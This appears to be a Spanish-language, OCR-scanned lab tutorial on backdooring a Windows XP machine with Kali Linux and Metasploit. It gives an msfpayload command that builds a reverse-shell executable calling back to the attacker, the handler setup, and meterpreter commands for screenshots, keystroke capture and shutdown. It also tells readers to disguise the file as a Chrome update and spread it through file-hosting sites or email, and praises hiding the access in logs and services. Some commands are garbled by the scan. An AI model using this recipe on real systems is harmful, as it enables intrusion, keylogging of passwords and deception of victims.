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Introduccion

El objetivo de este documento es llevar a cabo un ataque a una computadora vulnerable que este
dentro de la misma red, por un método sencillo y eficaz haciendo uso de las famosas backdoors y
de Kali Linux que trae las herramientas necesarias para la penetracion.

éQué es Kali Linux?
Kali Linux es una distribuciéon de Linux avanzada para pruebas de penetracién y auditorias de

seguridad.

Kali es una completa re-construccion de BackTrack Linux desde la base hacia arriba, y se adhiere
completamente a los estandares de desarrollo de Debian. Toda la nueva infraestructura ha sido
puesta en el lugar, todas las herramientas fueron revisadas y fueron embaladas, y hemos cambiado

a Git para nuestro VCS. (Docs Kali, 2013).

¢Qué es una Backdoor?

Estos programas son disefiados para abrir una "puerta trasera" en nuestro sistema de modo tal de
permitir al creador del backdoor tener acceso al sistema y hacer lo que desee con él.

El objetivo es lograr una gran cantidad de computadoras infectadas para disponer de ellos
libremente hasta el punto de formar redes de botnets. (Segu-Info, 2013)

Los crackers suelen usar puertas traseras para asegurar el acceso remoto a una computadora,
intentando permanecer ocultos ante una posible inspeccidn. Para instalar puertas traseras los
crackers pueden usar troyanos, gusanos u otros métodos.

Se ha afirmado, cada vez con mayor frecuencia, que los fabricantes de ordenadores preinstalan
puertas traseras en sus sistemas para facilitar soporte técnico a los clientes, pero no ha podido
comprobarse con seguridad. (Wikipedia, 2013)

¢Qué es Metasploit?

Es una herramienta de kali linux que proporciona informacién acerca de vulnerabilidades de
seguridad y ayuda en tests de penetracidn y en el desarrollo de firmas para sistemas de deteccion
de intrusos.




Desarrollo

Para realizar el ataque por una backdoor vamos a utilizar kali Linux y una maquina virtual de XP
para realizar la prueba, esta no debe tener antivirus o al menos no estar actualizado.

Instalando kali linux...

Seguir las siguientes pantallas en modo grafico.
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Realizando el ataque
Se abre una terminal en kali Linux.

Antes que otra cosa, vamos a conocer la direccién IP con el comando ip addr, se deja la terminal
abierta con la informacién mostrada, ya que se utilizara mds adelante.

[p adar

reila@kali: »

isc noqueue state UNKNOWN

100

b radSE G af L f e f:
1.255 scope global ethl

llustracion 1 Obtener direccion IP




Ahora sigamos la ruta que se muestra en la imagen:

i
0] clecu

&
1]

@8 Hamrad

s ,
B Office >

llustracion 2 Ruta para el Metsploit

Ahora vamos a esperar un poco a que se inicie el servicio. El servicio que se inicia es el servidor de
base de datos de Metasploit. Si al iniciarlo pide una contrasefia, solo se ingresa la contrasefia de la
cuenta de usuario y clic en aceptar, las veces que sea necesario.

Enter your password to perform

administrative tasks

The application ‘/etc/init.d/postgresql ‘start” lets you modify

essential parts of your system

Password:

Cancel




La pantalla que debe aparecer es la que aparece abajo, y significa que el servidor ya inicio, y
esperamos a que devuelva la raiz.

reila@kali: ~

llustracion 3 Raiz

Ahora vamos a iniciar lo que es la consola del Metasploit para poder trabajar con uno de los
diferentes sploits que existen. Para esto escribimos la linea msfconsole como se puede observar,
llevara mas o menos de 2 a 3 minutos en correr la consola.

msfconsole

reila@kali: ~

rch Terminal Help

greSQL 9.1 database server: main.
-standard uts for running k
3.7-trunk- pae=3.7.0 gives version code 19
rting Metasploit rpc server: prosvc.
tarting Metasploit web server: thin.

ploit worker: worker.

llustracion 4 msfconsole




Después de la espera de aproximadamente unos 3 a 5 minutos debe aparecer una ventana como
la que se muestra. Esto indica que se ha iniciado el Metasploit.

n using dynamic
aunch it now.

[reila@kali: = G reila@kalic -

llustracion 5 Metasploit iniciado

Nota: Si ha ocurrido algln error o cosa extraiia, se debe actualizar el Metasploit y las gemas de Ruby,
siguiendo la siguiente ruta en kali: Applications/Software Update vy asegurarse de tener una
conexiodn a internet, la actualizacién empezara automaticamente.

Una vez con esto para realizar el ataque debemos generar un archivo ejecutable, que es el que nos
va a permitir tener el acceso al sistema que se va a atacar.

Se debe escribir lo siguiente que es la linea que generara el archivo .exe que sera enviado a
nuestro objetivo.

msipayload windows/meterpreter/reverse_tco LHOST=192.168.1.72 LPORT=4444 x >
crack.exe

Se da Enter.

La IP que aparece en la linea es de la tarjeta de Ethernet o inaldambrica, depende de que se esté
utilizando en el momento, la IP que utilizaras empezara la mayoria de veces con 192.0.0.0 ya que
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estas conectado a internet y se asigna una IP publica. Al principio del documento fue lo primero que
se mostré la manera de conocer la IP asi que solo se debe abrir la otra terminal y copiar la direccion.

reila@kali: ~

llustracion 6 Utilizando la IP

Nota: Para la IP debes considerar la forma en que tu router asigna las IPS, ya que si reinicias la
magquina virtual, automaticamente cargara otra IP y el archivo que se generé para accesar a la
victima quedara inservible. Te recomiendo que la asignes estatica antes de generar tu archivo con
la ip que tienes en pantalla. Revisa el siguiente link: http://www.ehowenespanol.com/asignar-
direccion-ip-estatica-linux-como 387011/
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Iria quedando asi en pantalla.

rella@kall: = —

workar .

apps/pro/ui/config/date 5 is not readable. Tr

vironment

llustracion 7 Creando la backdoor

La creacion ha sido exitosa.

llustracion 8 Exitoso
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Se revisa la carpeta personal para ver el archivo crack.exe.

’ Home
Devices « o & Q sea
Compitter 244 E
M Deskt
# Fil
Network

5o

ack.exe” selected (73.8 kB)

llustracion 9 Verificacion de crack.exe

Esperar a que regrese la raiz, para poder “setear” el ataque dsea configurarlo, escribiendo el
siguiente comando.

use exploiymultvhandler

Y debe aparecer la raiz del handler.

dynamic
t now.

72" UPORT=4444 x > crack.exe

\72 LPORT=4444 x >

llustracion 10 Handler
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Set LHOST 192.168.1.72
Set LPORT 4444

Con esto se ha seteado el backdoor para poder lanzar el ataque

V evasion using dynamic
' to launch it now.

=4444 x > ¢
LPORT=4444 x >

llustracion 11 Seteando el backdoor

Algunos puntos que cabe aclarar, es que de preferencia la pc victima no debe tener antivirus, o al
menos si lo tiene que no esté actualizado ya que al antivirus lo detecta inmediatamente.

El archivo crack.exe, puede ser modificado por un nombre mds creible para que la victima confie
en el ciegamente y podamos cumplir con el objetivo, se puede subir a servidores como MEGA,
Mediafire, 4shared, o mandarlo por correo para difundirlo.

Ahora a correr el exploit antes de mandar el archivo, esto para que el exploit quede escuchando
cualquier conexién nueva la detecte inmediatamente.

exploit

14



llustracion 12 Exploit en modo escucha

Agui vamos pasar el archivo crack.exe a la maquina virtual con XP que es totalmente vulnerable.

& 1mcio | (@M 1:23

llustracion 13 Mdquina virtual con XP sin antivirus

Se puede ver como la PC victima descarga el archivo creyendo que es un .exe para actualizar su
google chrome y tranquilamente lo ejecuta y espera ver respuesta pero no la hay asi que
normalmente el usuario busca otro archivo ejecutable para actualizar, pero ya se ha conseguido el
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control sobre la maquina.

o Edotn Ve Favortos  Menamiercas  Ayuds

awds - [x] (@ & Prsons Frrvors @ 353 B
| 2] etp ffwwes mciaFre, comydownlosdi|7 crsk B2 7wkl fchrome, xe v Br
? Subm
dditional help lin
L]
DOWNLOAD (72,07 KE)
| Get ad free downloads and 100GB of space.
m chrome.exe
Application (.EXE) chrome.exe
1aced de | '
1 Ad-Aware nt '
o L‘I: \”: ‘1 CONNECTION  DOWNLOAD TIME
i ploade
Uploaded From: vdbard
About Executable File Formats ;
Fanev:cm srrores en |2 pagna. - %7 ® intermer
llustracion 14 Descarga de crhome.exe
i - ) (x] 2] €9 O nisemde Favaites 2) -

48] - |fwmas medafre.com|domnioac) T s Pwekrks fchrome. exe

v gr

Descarga de archivo - Advertencia de seguridad

¢Desea ejeculas o guardar este archivo?

8

Nombre chrome.axe
Tipo: Aphcacién, 72,0K8

De  dowrkoad]513 medatre.com

e | [ Gusds | [ Concelw |

Los schives procedertes de Intemet pueden ser dlies. pero este
tp0 de aichvo pueds daia potencisienle su 2qupo Sino corfia
n & orgen, no awecute ni guarde ests software.  Cudl es o teaqn?

N

WNLORD (72 07 KB)

chrome.exe

chrome.exe

File size: 7207 <3
Uploaded: 2073-'2
Uploaded From:

About Executable File Formats

13 3 tirme

NECTION  DOWNLOAD TRME

=

@ irkemet

llustracion 15 Victima guardando el .exe
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lustracion 16 Ejecutando 1

Abrir archive - Advertencia de seguridad

No se puede comprobar el fabricante. JE sté seguio de que
desea ejecula este soltware?

‘ Norbre: chrome. sxe
‘ D Fazicave Fabucante desconocido
Too: Aplkeckin
De: C\Documents and Settings|MuscelEscritorky

| =

| E [7] Pregurias sismore arkss de b este archivo

Este archiva ro ingun fi wviida que comprusbe tu
‘ 9 tabiicarts Sdin ejscute toftwiate de oe Labiic antes en ot que
ia ,Como pueds dacidr ous soltwars dsto siscuear?

llustracion 17 Ejecucion 2
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Ahora del lado del atacante aparece la consola del meterpreter, esta sale automaticamente
después de que la victima ejecuto él .exe creado, en la consola se escriben los comandos para
realizar una intrusiéon mas significativa.

LPORT=4444 x > crack.exe
.72 LPORT=4444 x > crack.e

at 2013-12-05

llustracion 18 Meterpreter

Para verificar la intrusion podemos sacar una impresién de pantalla, de la maquina.

screenshot

reila@kaliz

hot

: /home/raila/RkNAWInm. jpeg

llustracion 19 Comando Screenshot
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llustracion 20 Pantalla de PC victima

Esta es la imagen de la impresidn de pantalla obtenida. Se encontrara en el home de kali Linux.

File Edt View Go Bookmarks Help
Devices

VBOXA

llustracion 21 Screenshot de la pantalla del objetivo
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También algo que puede ser interesante es el saber qué es lo que se escribe en el objetivo.

Vamos a inicializar el servicio.

keyscan_start

Command Dest

timestomp Manipulate file MACE attributes

reila@kali: ~ reila@kali: ~

llustracion 22 Comando keyscan_start

Ahora para lograr extraer todo lo que se tecleo en la pc victima. Para que muestre las palabrasy
acciones almacenadas en el buffer a la hora de escribir es:

keyscan_adump

attributes

<Back> yan!!

B reila@kali: -

llustracion 23 Keyscan corriendo
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Lo que se escribid.

5 haciendo una prueba del keyscan
o soy reila-chan!!!
Lt nyan
yan
— nyan

alguein quiere mis contrasenas?

llustracion 24 Texto computadora victima

Si se desea detener el escaneo de teclas es con:

keyscan_stop

Y ahora! A apagar la computadora!

shutdown

llustracion 25 Shutdown
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Espere...

\Windows se esth cenando

llustracion 26 Apagando PC victima

Notas finales: Esta practica se ha realizado con una maquina virtual de XP que no tiene antivirus
alguno, no se sabe si también pueda funcionar en un Windows 7 vulnerable pero se puede hacer
la prueba para aprender, debe ser el mismo procedimiento.

Se debe estar conectado a la misma red, es un ataque en la red local, no un ataque remoto.

22



Conclusion

Con esto se puede concluir por el lado de la victima que se debe tener un antivirus bien actualizado
para evitar ataques, también se debe verificar bien, en que sitios navegamos y descargamos
programas siempre hay que revisar que sean de paginas oficiales para evitar un engafio y asi dar
acceso al equipo.

Por el lado del hacker, podria decirse que las backdoors son una forma de penetracién casi infalible
en pcs que estén totalmente desprotegidas, ya que las ventajas que tiene este tipo de ataque son,
remover la evidencia de la entrada inicial de los logs del sistema, retener el acceso a la maquina y
para ocultarlo se afiade un nuevo servicio y se le puede dar un nombre del cual no se sospeche o
mejor aun, utilizar un servicio que nuca se use, que este activado manualmente o totalmente.
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